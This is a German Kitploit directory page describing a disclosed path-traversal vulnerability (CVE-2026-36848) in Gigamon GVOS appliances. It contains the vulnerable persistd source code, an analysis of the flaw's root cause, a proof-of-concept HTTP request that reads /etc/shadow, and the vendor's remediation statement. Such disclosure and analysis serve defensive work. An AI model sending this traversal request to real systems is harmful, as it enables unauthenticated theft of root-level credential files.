Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-36848 — Gigamon Unauth RCE (CVE-2026-36848) | Kitploit
Tools/GitHubGitHub/calligraf0/cve-2026-36848
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingRed Teaming
GitHubcalligraf0/cve-2026-36848

CVE-2026-36848

Gigamon Unauth RCE (CVE-2026-36848)

Repository anzeigen
vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-36848

Eine kritische Path-Traversal-Schwachstelle wurde in der webbasierten Verwaltungs-Engine auf Port 8089 von Gigamon-VUE OS (GVOS)-Appliances identifiziert. Dieser Fehler existiert im Legacy-H-VUE-Subsystem innerhalb des persistd-Daemons und erlaubt es einem nicht authentifizierten, entfernten Angreifer mit Netzwerkzugriff auf den Dienst, beliebige Dateien zu lesen und teilweise Schreiboperationen (Überschreiben vorhandener Dateien ist nicht möglich) auf dem System mit Root-Rechten durchzuführen.


1. Schwachstellenübersicht

  • CVE-ID: CVE-2026-36848
  • Zielport: 8089 (TornadoHTTP Web Application)
  • Komponente: /opt/tms/persistd_py/persistd.py
  • Schwachstellenklasse: Path Traversal (CWE-22)
  • Auswirkung: Beliebiges Dateilesen & teilweises beliebiges Dateischreiben (ausgeführt unter Benutzer root)

2. Technische Code-Analyse & Ursache

Der TornadoHTTP-Webdienst auf Port 8089 implementiert eine Routing-Konfiguration, die in /opt/tms/persistd_py/persistd.py abgebildet ist. Dieser Daemon stellt mehrere Routen zur Verfügung, um Datenbankinteraktionen und Konfigurationssicherungen zu verarbeiten:

root@kitploit:~
app = tornado.web.Application([
    (r"/upload(?:/([^/]*))/?", UploadDbFile),
    (r"/download/([^/]+)/?", DownloadDbFile),
    # ... other routes
])

Unsanitized Input Propagation

Die Handler DownloadDbFile und UploadDbFile übernehmen direkt die vom Benutzer bereitgestellten Pfade aus den URI-Regex-Erfassungsgruppen und leiten sie ungefiltert an die zugrunde liegenden Hilfsfunktionen weiter.


2.1 Datei-Download Path Traversal (beliebiges Dateilesen)

Wenn ein Client einen Dateidownload anfordert, ruft der GET-Handler die Hilfsfunktion download_file auf:

root@kitploit:~
class DownloadDbFile(GenericApiHandler):
    @gen.coroutine
    def get(self, file_name):
        # ... [validation steps skipped for clarity] ...
        elif file_name is not None:
            msgif = yield download_file(self, file_name)

Die zugrunde liegende Zielfunktion download_file versucht, die angeforderte Datei mit naiver Zeichenkettenverkettung zu öffnen, anstatt einen sicheren kanonischen Pfad aufzulösen:

root@kitploit:~
@gen.coroutine
def download_file(caller, file_name):
    buf_size = 4096
    caller.set_header('Content-Type', 'application/octet-stream')
    caller.set_header('Content-Disposition', 'filename=' + file_name)
    msg = 'ok'
    try:
        # Root Cause: Direct concatenation enables directory breakout via traversal sequences
        with open(DBFILE_DIR + file_name, 'r') as f:
            while True:
                data = f.read(buf_size)
                if not data:
                    break
                caller.write(data)
    except IOError as ioe:
        msg = ioe
    raise gen.Return(msg)

Da keine Überprüfung auf Verzeichnis-Traversal-Sequenzen wie .. erfolgt, wird jede über file_name injizierte relative Pfadsequenz direkt an DBFILE_DIR angehängt und relativ zum Systemstammverzeichnis aufgelöst.


2.2 Datei-Upload Path Traversal (beliebiges Dateischreiben)

Der PUT-Handler für Datenbank-Uploads übergibt den Anforderungstext und den benutzerdefinierten Pfad direkt an die Hilfsfunktion upload_file:

root@kitploit:~
class UploadDbFile(GenericApiHandler):
    @gen.coroutine
    def put(self, path=None):
        # ...
        if path is not None:
            msgif = yield upload_file(self.request.body, path)

Die Routine upload_file verwendet os.path.join, um den Zielpfad zu bestimmen. Ein häufiges Sicherheitsmissverständnis ist jedoch, dass os.path.join vor Traversal schützt. In der Realität, wenn eine an os.path.join übergebene Komponente einen absoluten Pfad oder relative Traversal-Schritte darstellt, wird der aufgelöste Pfad das Basisverzeichnis verlassen:

root@kitploit:~
@gen.coroutine
def upload_file(body, path):
    msg = 'ok'
    tmp_path = None
    try:
        yield lock.acquire()
        # Vulnerable Sink 1: os.path.join does not neutralize directory traversal sequences
        full_path = os.path.join(DBFILE_DIR, path)
        if os.path.exists(full_path):
            msg = 'dup'
        else:
            tmp_path = full_path + '.tmp'
            old_files = filesInDir(DBFILE_DIR)
            with open(tmp_path, 'wb') as out:
                out.write(bytes(body))
                # Vulnerable Sink 2: rename operation performs unsafe string concatenation
                os.rename(tmp_path, DBFILE_DIR + path)

Dieses strukturelle Fehlen einer Eingabebereinigung erlaubt es einem Angreifer, einen Pfad mit Traversal-Schritten zu übergeben, wodurch der Dienst beliebige Dateien außerhalb der Grenzen von DBFILE_DIR mit den Berechtigungen des Root-Benutzerkontexts des Daemons schreiben kann.


3. Proof of Concept (PoC)

Wenn ein Angreifer die Pfadtrennzeichen URL-codiert (/ als %2F), dekodiert und evaluiert die Routing-Engine die Sequenz nahtlos und umgeht so die Standard-Pfadbeschränkungen.

Beliebiges Dateilesen (PoC-Request)

root@kitploit:~
GET /download/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow HTTP/1.1
Host: <target_ip>:8089
Accept: /

4. Abhilfe & offizielle Reaktion des Herstellers

Nachfolgend finden Sie die offizielle Stellungnahme und die Upgrade-Anleitung des Herstellers zu dieser Schwachstelle:

Das Problem in dieser CVE war nur im H-VUE-Subsystem vorhanden. GVOS Version 6 hat das H-VUE-Subsystem vollständig entfernt, wobei GVOS 5.16.1 die letzte Version ist, die es enthält. Version 5.16.1 wurde am 26. Mai 2023 aus dem Support genommen. Keine der derzeit unterstützten GVOS-Versionen enthält diese Schwachstelle.

Die Support-Matrix für GVOS, die unterstützte Versionen und End-of-Support-Daten dokumentiert, finden Sie hier:
https://www.gigamon.com/content/dam/customer-portal/MS-Software-Versions-7181.pdf

Die End-of-Sale- und End-of-Life-Richtlinie von Gigamon finden Sie hier:
https://www.gigamon.com/support/policies/eol-policy.html

In keiner Gigamon-Produktionsumgebung sollte eine nicht unterstützte Softwareversion ausgeführt werden (NIST SP 800-53 SA-22 "Unsupported System Components"). Falls Sie dies tun, empfiehlt Gigamon dringend, so bald wie möglich auf eine unterstützte Version zu aktualisieren. Unterstützte Kunden können aktualisierte Versionen von GVOS über das Gigamon-Community-Portal beziehen. Nicht unterstützte Kunden werden gebeten, Gigamon zu kontaktieren, um Support-Optionen zu besprechen:
https://www.gigamon.com/contact-sales.html


Wir möchten dem Produktsicherheits- und den Entwicklungsteams von Gigamon für ihre vorbildliche Koordination während dieses Offenlegungsprozesses danken.

Tool herunterladen